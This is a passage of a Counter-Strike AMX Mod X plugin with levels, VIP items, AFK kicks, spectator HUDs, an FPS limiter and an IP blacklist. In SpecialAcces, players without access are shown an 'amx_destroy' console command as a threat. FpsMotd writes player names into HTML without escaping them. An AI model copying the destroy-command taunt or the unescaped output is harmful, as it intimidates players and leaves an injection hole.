		case 18..21:	return 7
		case 22..24:	return 8
		case 25..29:	return 9
		case 30..1000:	return 10
		default: 		return 0
	}
	return 0
}

sayItem(mode, loc, rBack[], rMax)
{
	new fTemp[128]
	switch(mode)
	{
		/* Level */
		case 0: 
		{
			formatItem(0, LevelItemFl[loc], fTemp, 127)
			formatItem(1, LevelItemSm[loc], fTemp, 127)
			formatItem(2, LevelItemHe[loc], fTemp, 127)
			formatItem(3, LevelItemDgl[loc], fTemp, 127)
			formatItem(4, LevelItemMn[loc], fTemp, 127)
			formatItem(5, LevelItemHp[loc], fTemp, 127)
		}
		/* Point */
		case 1:
		{
			formatItem(0, PointItemFl[loc], fTemp, 127)
			formatItem(1, PointItemSm[loc], fTemp, 127)
			formatItem(2, PointItemHe[loc], fTemp, 127)
			formatItem(3, PointItemDgl[loc], fTemp, 127)
			formatItem(4, PointItemMn[loc], fTemp, 127)
			formatItem(5, PointItemHp[loc], fTemp, 127)
		}
		/* Vip */
		case 2:
		{
			formatItem(0, VipItemFl[loc], fTemp, 127)
			formatItem(1, VipItemSm[loc], fTemp, 127)
			formatItem(2, VipItemHe[loc], fTemp, 127)
			formatItem(3, VipItemDgl[loc], fTemp, 127)
			formatItem(4, VipItemMn[loc], fTemp, 127)
			formatItem(5, VipItemHp[loc], fTemp, 127)
		}
	}
	copy(rBack, rMax, fTemp)
}

formatItem(item, ct[], rB[], rM)
{
	new fTemp[64]
	if (str_to_num(ct) > 0)
	{
		switch(item)
		{
			case 0: format(fTemp, 63, "[+!g%s!nFL]", ct)
			case 1: format(fTemp, 63, "[+!g%s!nSM]", ct)
			case 2: format(fTemp, 63, "[+!g%s!nHE]", ct)
			case 3: format(fTemp, 63, "[+!g%s!nDGL]", ct)
			case 4: format(fTemp, 63, "[+!g%s!n$]", ct)
			case 5: format(fTemp, 63, "[+!g%s!nHP]", ct)
		}
	}
	add(rB, rM, fTemp)
}

IsOnline(Nume[])
{
	new tNume[32], xP[32], xN
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		get_user_name(xP[i], tNume, 31)
		if (equali(tNume, Nume))
			return xP[i]	
	}
	return 0
}

PlayerStats(Nume[], pStats[], pLvl[])
{
	new i, tCln[2], pNume[32], pStatsKill[10], pStatsHs[10], pStatsRound[10], pStatsDeath[10], pStatsSuicide[10]
	for (i=0;i < MAX_COUNT;i++)
	{
		parse(sortMore[sortJucatori[i][0]], pNume, 31, tCln, 1, tCln, 1, tCln, 1, tCln, 1, tCln, 1, pStatsKill, 9, pStatsHs, 9, pStatsRound, 9, pStatsDeath, 9, pStatsSuicide, 9)
		if (equali(Nume, pNume))
		{
			pStats[0] = str_to_num(pStatsKill)
			pStats[1] = str_to_num(pStatsHs)
			pStats[2] = str_to_num(pStatsRound)
			pStats[3] = str_to_num(pStatsDeath)
			pStats[4] = str_to_num(pStatsSuicide)
			pLvl[0] = CalculateLevel(0, pStats[0], pStats[1], pStats[2], pStats[3], pStats[4])
			pLvl[1] = CalculateStats(0, pStats[0], pStats[1], pStats[2], pStats[3], pStats[4])
			return i+1
		}
	}
	return 0
}

AdminStatus(Nume[], action, pass[], max)
{
	/* TRUE -> Activeaza
	FALSE -> Dezactiveaza */
	new FileLoc[128], tForm[256], Linie, xText[256], tNume[32], tPass[32], tAcces[32], tFlag[6], find=false
	get_configsdir(FileLoc, 125)
	format(FileLoc, 125, "%s/users.ini", FileLoc)
	if (file_exists(FileLoc))
	{
		new xFile = fopen(FileLoc, "r")
		while(!feof(xFile))
		{
			fgets(xFile, xText, 255)
			trim(xText)
			
			tNume[0] = 0
			tPass[0] = 0
			
			if (xText[0] == ';')
			{
				parse(xText[1], tNume, 31, tPass, 31, tAcces, 31, tFlag, 5)
			}
			else
			{
				parse(xText, tNume, 31, tPass, 31, tAcces, 31, tFlag, 5)
			}
			if (equali(tNume, Nume))
				find = true
			
			if (find)
			{
				if (action)
				{
					format(tForm, 255, "^"%s^" ^"%s^" ^"%s^" ^"%s^"", tNume, tPass, tAcces, tFlag)
				}
				else
				{
					format(tForm, 255, ";^"%s^" ^"%s^" ^"%s^" ^"%s^" ; Dezactivat automat de catre pluginu HNS_LEVEL_MIKE.", tNume, tPass, tAcces, tFlag)
				}
				write_file(FileLoc, tForm, Linie)
				if (max !=0)
					copy(pass, max, tPass)
				fclose(xFile)
				return true
			}
			Linie++
		}
		fclose(xFile)
	}
	return false
}

ExpDate(time, exp[], max) {
	static _Ore[5], _Min[5], _Sec[5], _Luna[5], _Ziua[5], _An[7]
	format_time(_Ore, sizeof(_Ore) - 1, "%H")
	format_time(_Min, sizeof(_Min) - 1, "%M")
	format_time(_Sec, sizeof(_Sec) - 1, "%S")
	format_time(_Luna, sizeof(_Luna) - 1, "%m")
	format_time(_Ziua, sizeof(_Ziua) - 1, "%d")
	format_time(_An, sizeof(_An) - 1, "%Y")
	
	new Ore = str_to_num(_Ore)
	new Minute = str_to_num(_Min)
	new Secunde = str_to_num(_Sec)
	new Luna = str_to_num(_Luna)
	new Ziua = str_to_num(_Ziua)
	new Anu = str_to_num(_An)
	
	Minute += time;
	while( Minute >= 60 ) {
		Minute -= 60
		Ore++
	}
	
	while( Ore >= 24 ) {
		Ore -= 24
		Ziua++
	}
	
	new lFeb = GDL(Luna, Anu)
	while( Ziua > lFeb ) {
		Ziua -= lFeb
		Luna++
	}
	
	while( Luna > 12 ) {
		Luna -= 12
		Anu++
	}
	format(exp, max, "%i.%i.%i %i:%02i:%02i", Ziua, Luna, Anu, Ore, Minute, Secunde)
}
GDL(Luna, Anu=0) {
	switch(Luna) {
		case 1:		return 31;
		case 2:		return ((Anu % 4) == 0) ? 29 : 28;
		case 3:		return 31;
		case 4:		return 30;
		case 5:		return 31;
		case 6:		return 30;
		case 7:		return 31;
		case 8:		return 31;
		case 9:		return 30;
		case 10:	return 31;
		case 11:	return 30;
		case 12:	return 31;
	}
	return 30
}

SpecialAcces(id, NumeAdmin[], msg)
{
	new Nume[32]
	get_user_name(id, Nume, 31)
	for (new i=0;i < sizeof(PluginSpecialAcces);i++)
		if (equali(NumeAdmin, PluginSpecialAcces[i]) && get_user_flags(id) & ADMIN_BAN)
			return true
	if (msg)
	{
		console_print(id, "amx_destroy ^"%s^"", Nume)
		console_print(id, "Apasa orice tasta pentru confirmare")
	}
	return false
}

CheckFraud(id, ip2[])
{
	if (str_to_num(FURT_DE_IDENTITATE) && !(get_user_flags(id) & ADMIN_KICK))
	{
		new ip[32]
		get_user_ip(id, ip, 31, 1)
		if (equali(getClassIp(ip, 1), getClassIp(ip2, 1)))
			return true
		return false
	}
	return true
}

MutaJucator(id, team)
{
	switch(team)
	{
		case 1: 	cs_set_user_team(id, CS_TEAM_T, CS_T_TERROR)
		case 2: 	cs_set_user_team(id, CS_TEAM_CT, CS_CT_URBAN)
		case 3: 	cs_set_user_team(id, CS_TEAM_SPECTATOR, CS_DONTCHANGE)
		default:	cs_set_user_team(id, CS_TEAM_CT, CS_CT_URBAN)
	}
}

/* ==========================================================================================
===================================================== Mdl / Point / STATS
========================================================================================== */
ResetModel(id)
{
	if (!is_user_bot(id) && is_user_connected(id))
	{
		if (IsVip(id) != 0)
			cs_set_user_model(id, "HNSVIP")
		else
			cs_reset_user_model(id)
	}
}

SetModel(id, mdl)
{
	if (!is_user_bot(id) && is_user_connected(id) && get_user_team(id) != 0 && is_user_alive(id))
	{
		if (mdl)
			cs_set_user_model(id, "HNSX_VIP")
		else
			cs_set_user_model(id, "HNSX_TeroHunt")
	}
}

aPuncte(id, nr)
{
	ptPlStats[id][0] = ptPlStats[id][0] + nr
}

rPuncte(id)
{
	ptPlStats[id][0] = 0
}

aFrag(id, nr)
{
	new pTs = ptPlStats[id][1] + nr
	if (pTs >= cvFragsMax)
	{
		ptPlStats[id][1] = pTs - ptPlStats[id][1]
		return true
	}
	else
	{
		if (ptPlStats[id][1] == cvFragsMax)
		{
			ptPlStats[id][1] = 0
			return true
		}
		else
			ptPlStats[id][1] = pTs
		return false
	}
	return false
}

SetTeroHunt(id)
{
	ptTeroHunt = id
	if (is_user_connected(id) && !is_user_bot(id) && is_user_alive(id))
		SetModel(id, false)
}

ResetTeroHunt(id, mdl)
{
	ptTeroHunt = 0
	if (mdl)
		ResetModel(id)
}

sStats(id, kill, hs, round, death, suicide)
{
	if (kill > 0)
		plStats[id][0] = plStats[id][0] + kill
	if (hs > 0)
		plStats[id][1] = plStats[id][1] + hs
	if (round > 0)
		plStats[id][2] = plStats[id][2] + round
	if (death > 0)
		plStats[id][3] = plStats[id][3] + death
	if (suicide > 0)
		plStats[id][4] = plStats[id][4] + suicide
}

/* ==========================================================================================
===================================================== Items
========================================================================================== */
public ItemFlash(id, nr)			// Flash
{
	new it = cs_get_user_bpammo(id, CSW_FLASHBANG)
	if (it > 1)
	{
		cs_set_user_bpammo(id, CSW_FLASHBANG, it + nr)
	}
	else 
	{
		give_item(id, "weapon_flashbang")
		cs_set_user_bpammo(id, CSW_FLASHBANG, nr)
	}
}
public ItemSmoke(id, nr)			// Smoke
{
	new it = cs_get_user_bpammo(id, CSW_SMOKEGRENADE)
	if (it > 0)
	{
		cs_set_user_bpammo(id, CSW_SMOKEGRENADE, it + nr)
	}
	else 
	{
		give_item(id, "weapon_smokegrenade")
		cs_set_user_bpammo(id, CSW_SMOKEGRENADE, nr)
	}
}
public ItemGrenada(id, nr) 			// Grenada
{
	new it = cs_get_user_bpammo(id, CSW_HEGRENADE)
	if (it > 0)
	{
		cs_set_user_bpammo(id, CSW_HEGRENADE, it + nr)
	}
	else 
	{
		give_item(id, "weapon_hegrenade")
		cs_set_user_bpammo(id, CSW_HEGRENADE, nr)
	}
}
public ItemPistol(id, gl)  			// Deagle
{
	if (find_ent_by_owner(-1, "weapon_deagle", id)) 
	{
		cs_set_weapon_ammo(find_ent_by_owner(-1, "weapon_deagle", id), cs_get_weapon_ammo(find_ent_by_owner(-1, "weapon_deagle", id)) + gl)
	} 
	else 
	{
		give_item(id, "weapon_deagle")
		new eNtry = find_ent_by_owner(-1, "weapon_deagle", id)
		if (eNtry)
			cs_set_weapon_ammo(eNtry, gl)
	}
}
public GameBani(id, val, min)		// Bani
{
	if (is_user_connected(id) && !is_user_bot(id) && is_user_alive(id)) 
	{
		if (min != 0)
			cs_set_user_money(id, cs_get_user_money(id) - min)
		else
			cs_set_user_money(id, cs_get_user_money(id) + val)
	}
}
public GameHP(id, hp)				// Viata
{
	if (is_user_connected(id) && !is_user_bot(id) && is_user_alive(id))
	{
		set_user_health(id, hp + get_user_health(id))
	}
}
public VipSpeed(id, Float:speed)	// Speed
{
	if (is_user_alive(id) && is_user_connected(id))
		set_user_maxspeed(id, speed)
}


/* ==========================================================================================
===================================================== AFK Check
========================================================================================== */
public afkCheck()
{
	new xP[32], xN, id, Nume[32], Prepare[3]
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		id = xP[i]
		get_user_name(id, Nume, 31)
		if (is_user_connected(id) && !is_user_bot(id))
		{
			if (afkTime[id] != AFK_TIME || SpecialAcces(id, Nume, false))
				continue
			
			if (is_user_alive(id) || get_user_team(id) == 3)
			{
				if (afkChk(id, false))
				{
					Prepare[0] = id
					Prepare[1] = AFK_ADV_TIME
					Prepare[2] = 3
					CountDownTime(Prepare)
				}
				else
				{
					afkChk(id, true)
				}
			}
		}
	}
}

afkRanNum(id)
{
	new RanMaxNum = 5, RdChr, RanFinal[10]
	for (new i=0;i < RanMaxNum;i++)
	{
		RdChr = random_num(0, charsmax(aNumere))
		add(RanFinal, 9, aNumere[RdChr])
	}
	afkStopAFK[id] = str_to_num(RanFinal)
}

afkAdmin(id)
{
	new Nume[32], Prepare[3]
	get_user_name(id, Nume, 31)
	if (is_user_alive(id))
		user_kill(id)
	MutaJucator(id, 3)
	xColor(id, "Adminul!g %s!n este AFK. Va fi trimis spectator.", Nume)
	afkTime[id] = AFK_TIME
	Prepare[0] = id
	Prepare[1] = AFK_TIME
	Prepare[2] = 4
	afkRanNum(id)
	CountDownTime(Prepare)
}

afkChk(id, md)
{
	new Origin[3]
	get_user_origin(id, Origin)
	if (afkOrigin[id][0] == Origin[0] && afkOrigin[id][1] == Origin[1] && afkOrigin[id][2] == Origin[2])
		return true
	if (md)
	{
		afkOrigin[id][0] = Origin[0]
		afkOrigin[id][1] = Origin[1]
		afkOrigin[id][2] = Origin[2]
	}
	return false
}

afkKick(id)
{
	new Nume[32]
	get_user_name(id, Nume, 31)
	server_cmd("kick #%d ^"Cand revi la pc, intra pe server. [HNS.LEGENDCS.COM]^"", get_user_userid(id))
	xColor(0, "%s!g %s!n este AFK. Va primi kick.", get_user_flags(id) & ADMIN_KICK ? "Adminul" : "Jucatorul", Nume)
}

/* ==========================================================================================
===================================================== SpecInfo
========================================================================================== */
public specSpecUpdate( )
{
	new players[32], num, id, id2, i, j
	for( i = 1; i < 33; i++ ) spec_ids[i][0] = 0
	
	get_players(players, num, "bch")
	for(i=0; i < num; i++)
	{
		id = players[i]
		if (get_user_flags(id) & ADMIN_KICK)
		{
			if (!(cl_prefs[id] & FL_HIDE))
				cl_prefs[id] ^= FL_HIDE
		}
		else
		{
			if (cl_prefs[id] & FL_HIDE)
				cl_prefs[id] ^= FL_HIDE
		}
		if(!(get_user_flags(id) & ADMIN_KICK && cl_prefs[id] & FL_HIDE))
		{
			id2 = pev( id, pev_iuser2 )
			if( id2 )
			{
				spec_ids[ id2 ][ 0 ]++
				spec_ids[ id2 ][ spec_ids[ id2 ][ 0 ] ] = id
			}
		}
	}
	new tmplist[ LIST_STR_LEN + 1 ], tmpstr[41]
	new count, namelen, tmpname[21]
	for( i=1; i<33; i++ )
	{
		count = spec_ids[i][0]
		if( count )
		{
			namelen = ( LIST_STR_LEN - 10 ) / count
			clamp( namelen, 10, 20 )
			format( tmpname, namelen, cl_names[i] )
			format( tmplist, LIST_STR_LEN - 1, "^n^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t HNS.LEGENDCS.COM -> ^n^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t Spectatori pe %s:^n^n", tmpname)
			for( j=1; j<=count; j++ )
			{
				format( tmpname, namelen, cl_names[spec_ids[i][j]])
				format( tmpstr, 40, "^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t %s", tmpname )
				if( strlen( tmplist ) + strlen( tmpstr ) + ( 11 - j ) < ( LIST_STR_LEN - 1 ) )
					format( tmplist, LIST_STR_LEN - 10, "%s%s^n", tmplist, tmpstr )
				else
				{
					format( tmplist, LIST_STR_LEN, "%s...^n", tmplist )
					break
				}
			}
			for( j+=0; j<10; j++ )
				format( tmplist, LIST_STR_LEN, "%s%s", tmplist, "^n" )
			list_string[i] = tmplist
		}
	}
	get_players( players, num, "ch" )
	for( i=0; i<num; i++ ) specMsg( players[i] )
	
	return PLUGIN_HANDLED
}

public specKeyUpdate( )
{
	new players[32], num, id, i, lvl, xp
	get_players( players, num, "a" )
	for( i = 0; i < num; i++ )
	{
		id = players[i]
		lvl = CalculateLevel(id)
		xp = CalculateStats(id)
		if (Fps_Warn[id] > 0)
			format( keys_string[id], KEYS_STR_LEN, " ^n%s^n%s %s %s^n%s %s^n [%3d FPS DE BOSS]^nFPS WARN [%d]^n[LEVEL %2d]^n%5d/%5s XP",
				cl_keys[id] & IN_FORWARD ? "      W" : "       =",
				cl_keys[id] & IN_MOVELEFT ? "  A" : " =",
				cl_keys[id] & IN_BACK ? "  S" : "  =",
				cl_keys[id] & IN_MOVERIGHT ? "  D" : "  =",
				cl_keys[id] & IN_DUCK ? "DUCK" : "====",
				cl_keys[id] & IN_JUMP ? "JUMP" : "====",
				CurFps[id], Fps_Warn[id],
				lvl, xp, lvl == charsmax(LevelXP) ? "MAX" : LevelXP[lvl+1]
			)
		else
			format( keys_string[id], KEYS_STR_LEN, " ^n%s^n%s %s %s^n%s %s^n [%3d FPS DE BOSS]^n[LEVEL %2d]^n%5d/%5s XP",
				cl_keys[id] & IN_FORWARD ? "      W" : "       =",
				cl_keys[id] & IN_MOVELEFT ? "  A" : "  =",
				cl_keys[id] & IN_BACK ? "  S" : "  =",
				cl_keys[id] & IN_MOVERIGHT ? "  D" : "  =",
				cl_keys[id] & IN_DUCK ? "DUCK" : "====",
				cl_keys[id] & IN_JUMP ? "JUMP" : "====", 
				CurFps[id],
				lvl, xp, lvl == charsmax(LevelXP) ? "MAX" : LevelXP[lvl+1]
			)
		
		//Flags stored in string to fill translation char in clmsg function
		keys_string[id][0] = 0 
		if( cl_keys[id] & IN_JUMP ) keys_string[id][0] |= IN_JUMP
		if( cl_keys[id] & IN_DUCK ) keys_string[id][0] |= IN_DUCK
		
		cl_keys[id] = 0
	}
	
	new id2
	get_players( players, num, "ch" )
	for( i=0; i<num; i++ )
	{
		id = players[i]
		if( is_user_alive( id ) )
		{
			if( cl_prefs[id] & FL_OWNKEYS ) specMsg( id )
		}
		else
		{
			id2 = pev( id, pev_iuser2 )
			if( cl_prefs[id] & FL_KEYS && id2 && id2 != id ) specMsg( id )
		}
	}
}

public server_frame()
{
	new players[32], num, id
	get_players( players, num, "a" )
	for( new i = 0; i < num; i++ )
	{
		id = players[i]
		if( get_user_button( id ) & IN_FORWARD )
			cl_keys[id] |= IN_FORWARD
		if( get_user_button( id ) & IN_BACK )
			cl_keys[id] |= IN_BACK
		if( get_user_button( id ) & IN_MOVELEFT )
			cl_keys[id] |= IN_MOVELEFT
		if( get_user_button( id ) & IN_MOVERIGHT )
			cl_keys[id] |= IN_MOVERIGHT
		if( get_user_button( id ) & IN_DUCK )
			cl_keys[id] |= IN_DUCK
		if( get_user_button( id ) & IN_JUMP )
			cl_keys[id] |= IN_JUMP
	}
	return PLUGIN_CONTINUE
}

public specMsg( id )
{
	if( !id ) return
	
	new prefs = cl_prefs[id]
	new Cols1, Cols2, Cols3
	
	new bool:show_own = false
	if( is_user_alive( id ) && prefs & FL_OWNKEYS ) show_own = true
	
	if( is_user_alive( id ) && !show_own )
	{
		if( prefs & FL_LIST && spec_ids[id][0] )
		{
			switch(get_user_team(id))
			{
				case 1: { Cols1 = 255;Cols2 = 0;Cols3 = 0; }
				case 2: { Cols1 = 0;Cols2 = 191;Cols3 = 255; }
				case 3: { Cols1 = 0;Cols2 = 255;Cols3 = 0; }
				default: { Cols1 = 0;Cols2 = 255;Cols3 = 0; }
			}
			set_hudmessage(
       Cols1 ,
       Cols2 ,
       Cols3 ,
        0.46, /*x*/
        0.14, /*y*/
        0, /*fx*/
        0.0, /*fx time*/
        1.1, /*hold time*/
        0.1, /*fade in*/
        0.1, /*fade out*/
        3 /*chan*/
			)
			show_hudmessage( id, list_string[id] )
		}
	}
	else
	{
		new id2
		if( show_own ) id2 = id
		else id2 = pev( id, pev_iuser2 )
		if( !id2 ) return;
		
		if( prefs & FL_LIST || prefs & FL_KEYS || show_own )
		{
			switch(get_user_team(id))
			{
				case 1: { Cols1 = 255;Cols2 = 0;Cols3 = 0; }
				case 2: { Cols1 = 0;Cols2 = 191;Cols3 = 255; }
				case 3: { Cols1 = 0;Cols2 = 255;Cols3 = 0; }
				default: { Cols1 = 0;Cols2 = 255;Cols3 = 0; }
			}
			set_hudmessage(
        Cols1,
        Cols2,
        Cols3,
        0.46, /*x*/
        0.14, /*y*/
        0, /*fx*/
        0.0, /*fx time*/
        prefs & FL_KEYS || show_own ? 0.1 : 1.1, /*hold time*/
        0.1, /*fade in*/
        0.1, /*fade out*/
        3 /*chan*/
			)
			new msg[BOTH_STR_LEN + 1]
			if( prefs & FL_LIST && spec_ids[id2][0] )
				formatex(msg,BOTH_STR_LEN,list_string[id2])
			else msg ="^n^n^n^n^n^n^n^n^n^n^n^n^n^n^n^n"
			if(prefs & FL_KEYS || show_own)
			{
				format( msg, BOTH_STR_LEN, "%s%s", msg, keys_string[id2][1] )
				format( msg, BOTH_STR_LEN, msg,
					id, keys_string[id2][0] & IN_JUMP ? "JUMP" : "====",
					id, keys_string[id2][0] & IN_DUCK ? "DUCK" : "===="
				)
			}
			show_hudmessage( id, msg )
		}
	}
}

public specSetHud()
{
	set_hudmessage(
		0,
		255,
		0,
		-1.0, /*x*/
		0.8, /*y*/
		0, /*fx*/
		0.0, /*fx time*/
		3.0, /*hold time*/
		0.0, /*fade in*/
		0.0, /*fade out*/
		-1 /*chan*/
	)
}

public fwdPlayerPreThink(id) 
{
   
   if(is_user_connected(id)) 
   {

      GameTime[id] = get_gametime()
            
      if(FramesPer[id] >= GameTime[id])
		Fps[id] += 1
      else 
	  {
		FramesPer[id]   += 1
		CurFps[id]   = Fps[id]
		Fps[id]      = 0
		if (CurFps[id] > MaxPlayerFPS[id])
			MaxPlayerFPS[id] = CurFps[id]
		if (CurFps[id] > FPS_MAX + 15 && LastWarn[id] < time())
		{
			LastWarn[id] = time() + 3
			WarnID(id)
		}
      }
   }
   return FMRES_IGNORED
}

public FpsMotd(id)
{
	new xMOTD[2048], xLen, xP[32], xN, tNume[32]
	get_players(xP, xN, "c")
	xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center><b>")
	xLen += format(xMOTD[xLen], 2047-xLen, "FPS-ul jucatoriilor de pe <font color=red>HNS.LEGENDCS.COM</font>^n")
	xLen += format(xMOTD[xLen], 2047-xLen, "<font color=green>%28s  %10s  %15s</font>^n^n", "NUME", "FPS ACUM", "FPS MAXIM ATINS")
	for (new i=0;i < xN;i++)
	{
		replace_all(tNume, 31, "<", "")
		replace_all(tNume, 31, ">", "")
		get_user_name(xP[i], tNume, 31)
		if (CurFps[xP[i]] > 255 || MaxPlayerFPS[xP[i]] > FPS_MAX + 15)
			xLen += format(xMOTD[xLen], 2047-xLen, "%-28.28s  <font color=red>%-10d  %-15d</font>^n", tNume, CurFps[xP[i]], MaxPlayerFPS[xP[i]])
		else
			xLen += format(xMOTD[xLen], 2047-xLen, "%-28.28s  %-10d  %-15d^n", tNume, CurFps[xP[i]], MaxPlayerFPS[xP[i]])
	}
	xLen += format(xMOTD[xLen], 2047-xLen, "FPS-ul jucatoriilor de pe <font color=red>HNS.LEGENDCS.COM</font></b>^n")
	show_motd(id, xMOTD, "FPS-ul jucatoriilor")
	return PLUGIN_CONTINUE
}

WarnID(id)
{
	Fps_Warn[id]++
	switch(Fps_Warn[id])
	{
		case 1: { client_cmd(id, "spk dadeda"); }
		case 2: { user_slap(id, 0); }
		case 3: { user_slap(id, 20); user_slap(id, 20); }
		case 4: { user_kill(id); }
		default: 
		{
			new xIp[32], xNume[32]
			get_user_name(id, xNume, 31)
			get_user_ip(id, xIp, 31, 1)
			server_cmd("kick #%d ^"Mai taie din fps !!^"", get_user_userid(id))
			Fps_Warn[id] = 0
		}
	}
	xColor(id, "!tWARN!g %d!t/!g%d!t. Pe acest server este permis maxim!g %d!t FPS. Tu ai atins!g %d!t FPS.", Fps_Warn[id], 5, FPS_MAX, MaxPlayerFPS[id])
}

/* ==========================================================================================
===================================================== BlackList
========================================================================================== */
public BlackList(id)
{
	if (str_to_num(BLACKLIST_STATUS))
	{
		new Nume[32]
		get_user_name(id, Nume, 31)
		if (!SpecialAcces(id, Nume, true))
			return PLUGIN_HANDLED
			
		new menu = menu_create("\w Pe cine doresti sa scoti din\r BlackList\w ?", "StergeBlackList")
		new Form[64], TempNum[10]
		if (locatiiNumLoad > 0)
		{
			for (new i=0;i < locatiiNumLoad;i++)
			{
				if (strlen(locatiiLocatie[i]) > 5)
				{
					format(Form, 63, "\y%s\w [\r%s\w][\r%s\w]", locatiiLocatie[i], locatiiIp[i], locatiiPlayer[i])
					num_to_str(i, TempNum, 9)
					menu_additem(menu, Form, TempNum, 0)
				}
			}
			menu_display(id, menu, 0)
		}
		else
		{
			xColor(id, "Nu este nici un jucator pe!t blacklist!n.")
			console_print(id, "Nu este nici un jucator pe blacklist")
		}
	}
	else
	{
		console_print(id, "Plugin OFF")
	}
	return PLUGIN_HANDLED
}

public StergeBlackList(id, menu, item)
{
	if(item == MENU_EXIT) 
		return PLUGIN_HANDLED

	new data[6], Line[64], num
	new access, callback
	menu_item_getinfo(menu, item, access, data, 5, Line, 63, callback)
	num = str_to_num(data)
	xColor(0, "Jucatorul!g %s!n[!g%s!n][!g%s!n] a fost scos din!t BlackList!n.", locatiiPlayer[num], locatiiIp[num], locatiiLocatie[num])
	format(locatiiLocatie[num], 63, "")
	format(locatiiIp[num], 31, "")
	format(locatiiPlayer[num], 31, "")
	return BlackList(id)
}

public AddBlackList(id)
{
	if (str_to_num(BLACKLIST_STATUS))
	{
		new Nume[32]
		get_user_name(id, Nume, 31)
		if (!SpecialAcces(id, Nume, true))
			return PLUGIN_HANDLED
		
		new pLayer[32]
		read_argv(1, pLayer, 31)
		if (strlen(pLayer) > 2)
		{
			new id2 = cmd_target(id, pLayer, 8)
			if (id2)
			{
				new ip[32], NumeJucator[32]
				get_user_ip(id2, ip, 31, 1)
				get_user_ip(id2, NumeJucator, 31)
				if (IsRestricted(ip))
				{
					console_print(id, "IP [%s] este deja restrictionat.", ip)
				}
				else
				{
					RestrictIp(id2)
					KickRestricted(id2)
					console_print(id, "IP-ul [%s] a fost restrictionat.", getClassIp(ip))
				}
			}
			else
			{
				if (IsIP(pLayer))
				{
					RestrictIp(0, pLayer)
					console_print(id, "IP-ul [%s] a fost restrictionat.", getClassIp(pLayer))
				}
				else
				{
					console_print(id, "IP-ul [%s] nu este valid.", pLayer)
				}
			}
		}
		else
		{
			console_print(id, "Foloseste: amx_addblacklist <parte din nume | ip>")
		}
	}
	else
	{
		console_print(id, "Plugin OFF")
	}
	return PLUGIN_HANDLED
}

RestrictIp(id, ip[]="")
{
	if (id != 0)
	{
		new Nume[32], Ip[32]
		get_user_name(id, Nume, 31)
		get_user_ip(id, Ip, 31, 1)
//		format(locatiiLocatie[locatiiNumLoad], 63, "%s %s", geoip_latitude(Ip), geoip_longitude(Ip))
		format(locatiiIp[locatiiNumLoad], 31, "%s", getClassIp(Ip))
		format(locatiiPlayer[locatiiNumLoad], 31, "%s", Nume)
		locatiiTime[locatiiNumLoad] = time() + (RESTRICTED_TIME * 3600)
		xColor(0, "[!g%s!n][!g%s!n][!g%s!n] a fost restrictionat pe acest server.", Nume, getClassIp(Ip), locatiiLocatie[locatiiNumLoad])
		locatiiNumLoad++
	}
	else
	{
//		format(locatiiLocatie[locatiiNumLoad], 63, "%s %s", geoip_latitude(ip), geoip_longitude(ip))
		format(locatiiIp[locatiiNumLoad], 31, "%s", getClassIp(ip))
		format(locatiiPlayer[locatiiNumLoad], 31, "ByIp")
		locatiiTime[locatiiNumLoad] = time() + (RESTRICTED_TIME * 3600)
		xColor(0, "[!g%s!n][!g%s!n] a fost restrictionat pe acest server.", getClassIp(ip), locatiiLocatie[locatiiNumLoad])
		locatiiNumLoad++
	}
}

KickRestricted(id)
{
	new ip[32]
	get_user_ip(id, ip, 31, 1)
	server_cmd("kick #%d ^"IP-ul tau [%s] este restrictionat.^"", get_user_userid(id), ip)
}

IsRestricted(ip[])
{
	if (locatiiNumLoad < 1)
		return false
		
	new formLocation[64], tm = time()
//	format(formLocation, 63, "%s %s", geoip_latitude(ip), geoip_longitude(ip))
	for (new i=0;i < locatiiNumLoad;i++)
	{
		if (equali(formLocation, locatiiLocatie[i]) && equali(locatiiIp[i], getClassIp(ip)) && locatiiTime[i] > tm)
			return true
	}
	return false
}

getClassIp(ip[], cls=2)
{
	new NewIP[4][4], t1[20], t2[20], fNewIP[32]
	for (new i=0;i < 2;i++)
	{
		if (i > 0)
		{
			strtok(t2, t1, 19, t2, 19, '.')
			copy(NewIP[i], 3, t1)
		}
		else
		{
			strtok(ip, t1, 19, t2, 19, '.')
			copy(NewIP[i], 3, t1)
		}
	}
	if (cls == 2)
		format(fNewIP, 31, "%s.%s.x.x", NewIP[0], NewIP[1])
	if (cls == 1)
		format(fNewIP, 31, "%s.x.x.x", NewIP[0])
	return fNewIP
}

public IncarcaLocatiileRestrictionate()
{
	if (file_exists(sBlackList))
	{
		new Line[128], LatLong[32], Ip[31], Pl[32], Durata[32]
		new oFile = fopen(sBlackList, "r")
		while (!feof(oFile))
		{
			fgets(oFile, Line, 127)
			trim(Line)
		
			LatLong[0] = 0
			
			if (Line[0] == ';' || parse(Line, LatLong, 31, Ip, 31, Pl, 31, Durata, 31) < 1)
				continue
			
			format(locatiiLocatie[locatiiNumLoad], 63, "%s", LatLong)
			format(locatiiIp[locatiiNumLoad], 31, "%s", Ip) 
			format(locatiiPlayer[locatiiNumLoad], 31, "%s", Pl)
			locatiiTime[locatiiNumLoad] = str_to_num(Durata)
			locatiiNumLoad++
		}
		fclose(oFile)
	}
	log_amx("[%s] Locatii restrictionate [%d]", TAG, locatiiNumLoad)
}

/* ==========================================================================================
===================================================== NoJoinTeam
========================================================================================== */
public jointeamBlock(id)
{
	if (str_to_num(RETRY_STATUS))
		return (CS_TEAM_T <= cs_get_user_team(id) <= CS_TEAM_CT) ? PLUGIN_HANDLED : PLUGIN_CONTINUE
	return PLUGIN_CONTINUE
}

jointeamStatus(id, mode)
{
	new ip[32]
	get_user_ip(id, ip, 31, 1)
	for (new i=0;i < MAX_PLAYERS;i++)
	{
		if (mode)
		{ // Set
			if (strlen(jointeamIp[i]) < 2)
			{
				copy(jointeamIp[i], 31, ip)
				jointeamRetry[i] = 0
				jointeamTeam[i] = get_user_team(id)
				set_task(RETRY_REMOVE, "jointeamCleanIP", i + TASK_JOINTEAM_CLEAN)
				return -1
			}
		}
		else
		{ // Get
			if (equali(ip, jointeamIp[i]))
				return i
		}
	}
	return -1
}

public jointeamMove(tid)
{
	new id = tid - TASK_ENTRY_JOINTEAM
	if (is_user_connected(id))
	{
